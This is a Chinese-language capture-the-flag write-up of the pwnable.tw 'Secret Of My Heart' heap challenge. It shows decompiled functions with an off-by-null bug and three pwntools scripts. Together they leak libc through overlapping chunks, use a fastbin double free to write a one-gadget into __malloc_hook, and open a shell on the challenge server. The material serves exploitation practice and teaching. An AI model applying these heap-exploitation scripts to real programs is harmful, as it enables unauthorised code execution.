Pwnable.tw-Secret Of My Heart

2024-09-25

Pwnable.tw-Secret Of My Heart

Author: 堇姬Naup

libc

glibc all in one 中沒有 2.23-0ubuntu5
所以去網路上找libc
https://launchpad.net/ubuntu/xenial/amd64/libc6/2.23-0ubuntu5

把i386載下來

1
dpkg -X libc6_2.23-0ubuntu5_amd64.deb .

在libs裡面就有ld跟libc了

patchelf直接patch上去

1
2
patchelf --set-interpreter ld-2.23.so secret_of_my_heart
patchelf --replace-needed libc.so.6 ./libc-2.23.so secret_of_my_heart

IDA分析

main

add+ADD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int add()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 size; // [rsp+8h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 99 )
return puts("Fulled !!");
if ( !*(_QWORD *)(unk_202018 + 48LL * i + 40) )
break;
}
printf("Size of heart : ");
size = (int)read_f();
if ( size > 0x100 )
return puts("Too big !");
ADD((size_t *)(unk_202018 + 48LL * i), size);
return puts("Done !");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_BYTE *__fastcall ADD(size_t *chunk, size_t size)
{
_BYTE *result; // rax

*chunk = size;
printf("Name of heart :");
read_F(chunk + 1, 0x20u);
chunk[5] = (size_t)malloc(size);
if ( !chunk[5] )
{
puts("Allocate Error !");
exit(0);
}
printf("secret of my heart :");
result = (_BYTE *)(chunk[5] + (int)read_F((void *)chunk[5], size));
*result = 0;
return result;
}

可以malloc 0x100內的size
先輸入name,再輸入heart(存在malloc heap中),這裡多補了個NULL byte,有off by null

1
2
3
4
pwndbg> x/30xg 0x5fd3388cb0d0
0x5fd3388cb0d0: 0x0000000065656565 0x0000000000000021
0x5fd3388cb0e0: 0x6262626261616161 0x6464646463636363
0x5fd3388cb0f0: 0x6666666665656565 0x0000000000020f00

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int show()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]

printf("Index :");
idx = read_f();
if ( idx > 0x63 )
{
puts("Out of bound !");
exit(-2);
}
if ( !*(_QWORD *)(unk_202018 + 48LL * idx + 0x28) )
return puts("No such heap !");
printf("Index : %d\n", idx);
printf("Size : %lu\n", *(_QWORD *)(unk_202018 + 48LL * idx));
printf("Name : %s\n", (const char *)(unk_202018 + 48LL * idx + 8));
return printf("Secret : %s\n", *(const char **)(unk_202018 + 48LL * idx + 40));
}

他會顯示該chunk上的資訊
可以拿來leaklibc之類的感覺

delete + Delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int delete()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]

printf("Index :");
idx = read_f();
if ( idx > 0x63 )
{
puts("Out of bound !");
exit(-2);
}
if ( !*(_QWORD *)(unk_202018 + 48LL * idx + 40) )
return puts("No such heap !");
Delete(unk_202018 + 48LL * idx);
return puts("Done !");
}
1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall Delete(__int64 chunk)
{
__int64 result; // rax

*(_QWORD *)chunk = 0LL;
memset((void *)(chunk + 8), 0, 0x20uLL);
free(*(void **)(chunk + 40));
result = chunk;
*(_QWORD *)(chunk + 40) = 0LL;
return result;
}

會去free對應的index,他會去清空heap arr,下次malloc就會拿到空的那塊重新寫chunk address,所以沒有double free

分析

有off by null就可以先打一些overlapping之類的了

不過在這之前先搞leak libc
可以打overlapping,讓一塊chunk活在free chunk中,那個位置是fd跟bk,這樣就可以拿到libc了
malloc 0x38 -> 拿到chunk0 0x40
malloc一塊0x100 -> 拿到chunk1 0x110 -> 之後會被蓋成0x100先預留prev size
再malloc一塊0x100 -> 拿到 chunk2 0x110

先free chunk 1
再free chunk 0
之後malloc chunk 0
並off by null蓋chunk 0 0x111為0x100

接下來
之後malloc 0x88 -> chunk 3 0x90
malloc 0x40 -> chunk 4 0x50
之後free掉0x88
free掉chunk 2
chunk 2 會去 merge前面一整塊
並進入到top chunk
但是卻存活著一塊chunk 4位於free之中

所以就malloc 0x80 -> chunk 5
malloc 0x100 -> chunk 6
多malloc一塊0x30,不然chunk 6會被丟到top chunk
剛剛好chunk 4 跟 chunk 6 fd 重疊
去free chunk 6後印出就會是libc

以上就是off by one製造overlapping來leak libc的過程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secret_of_my_heart')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


### heap I/O
def add(size,name,secret):
sla(b'Your choice :',b'1')
sla(b'Size of heart : ',str(size).encode())
sla(b'Name of heart :',name)
sla(b'secret of my heart :',secret)

def show(idx):
sla(b'Your choice :',b'2')
sla(b'Index :',str(idx).encode())

def delete(idx):
sla(b'Your choice :',b'3')
sla(b'Index :',str(idx).encode())

### exploit

### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')

delete(1)
delete(0)

add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x40,b'333',b'aaa')

delete(1)
delete(2)

add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x30,b'444',b'aaa')

delete(2)
show(3)

rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c4b78
libcbase = leaklibc - libcoffset


NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))

### interactive
ita()

接下來要製造任意寫,透過重疊來double free

來寫malloc_hook,觀察一下上方可以找到很多的7…,可以拿來做fake chunk

image
image

把前面留在free chunk 的overlapping chunk,調整成malloc 0x60(也就是chunk 4)
先 malloc 一塊 0x60 -> chunk 7 (與chunk 4 完全重疊)
接下來malloc一塊 0x60 -> chunk 8
這兩塊會從unsorted bin割出來
接下來free chunk 7
free chunk 8
再free chunk 4
就會有fastbin

1
fastbin[0x70] -> chunk 7 -> chunk 8 -> chunk 7 -> ...

接下來malloc一塊0x60 將 secret改成fake chunk
再來malloc 兩次後
再malloc一次就可以拿到fake chunk 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secret_of_my_heart')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


### heap I/O
def add(size,name,secret):
sla(b'Your choice :',b'1')
sla(b'Size of heart : ',str(size).encode())
sla(b'Name of heart :',name)
sla(b'secret of my heart :',secret)

def show(idx):
sla(b'Your choice :',b'2')
sla(b'Index :',str(idx).encode())

def delete(idx):
sla(b'Your choice :',b'3')
sla(b'Index :',str(idx).encode())

### exploit

### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')

delete(1)
delete(0)

add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x60,b'333',b'aaa')

delete(1)
delete(2)

add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x20,b'444',b'aaa')

delete(2)
show(3)

rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c4b78
libcbase = leaklibc - libcoffset

### aaw

libc_mallochook = libcbase + 0x3c4b10
libc_onegadget = libcbase
fake_chunk = libc_mallochook - 0x23
add(0x60,b'222',b'aaa')
add(0x60,b'555',b'aaa')

delete(2)
delete(5)
delete(3)

# chunk 0 -> chunk 1 -> chunk 0 -> ...
add(0x60,b'222',p64(fake_chunk)) # chunk 0
add(0x60,b'333',b'bbb') # chunk 1
add(0x60,b'555',b'bbb') # chunk 0
add(0x60,b'666',b'aaaaaaa') # malloc_hook - 0x23

### INFO
NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))
NAUPINFO(b'libc_MALLOCHOOK',hex(libc_mallochook))
### interactive
ita()

這邊我們將malloc hook改成onegadget
然而直接malloc無法觸發onegadget條件
所以可以利用之前的方法
用 double free 來觸發malloc hook上的onegadget
get shell

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./secret_of_my_heart')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


### heap I/O
def add(size,name,secret):
sla(b'Your choice :',b'1')
sla(b'Size of heart : ',str(size).encode())
sla(b'Name of heart :',name)
sla(b'secret of my heart :',secret)

def show(idx):
sla(b'Your choice :',b'2')
sla(b'Index :',str(idx).encode())

def delete(idx):
sla(b'Your choice :',b'3')
sla(b'Index :',str(idx).encode())

### exploit

### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')

delete(1)
delete(0)

add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x60,b'333',b'aaa')

delete(1)
delete(2)

add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x20,b'444',b'aaa')

delete(2)
show(3)

rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c3b78 #0x3c4b78
libcbase = leaklibc - libcoffset

print('***success leak libc***')
### aaw

libc_mallochook = libcbase + 0x3c3b10
libc_onegadget = libcbase + 0xef6c4
fake_chunk = libc_mallochook - 0x23

add(0x60,b'222',b'aaa')
add(0x60,b'555',b'aaa')

delete(2)
delete(5)
delete(3)

print('***success double free***')
# chunk 0 -> chunk 1 -> chunk 0 -> ...
add(0x60,b'222',p64(fake_chunk)) # chunk 0
add(0x60,b'333',b'bbb') # chunk 1
add(0x60,b'555',b'bbb') # chunk 0
add(0x60,b'777',b'a'*0x13+p64(libc_onegadget)) # malloc_hook - 0x23

print('***success write onegadget***')

delete(5)
delete(2)

### INFO
NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))
NAUPINFO(b'libc_MALLOCHOOK',hex(libc_mallochook))
NAUPINFO(b'fakechunk',hex(fake_chunk))
NAUPINFO(b'onegadget',hex(libc_onegadget))

### interactive
ita()

後記

終於2000分了

image
image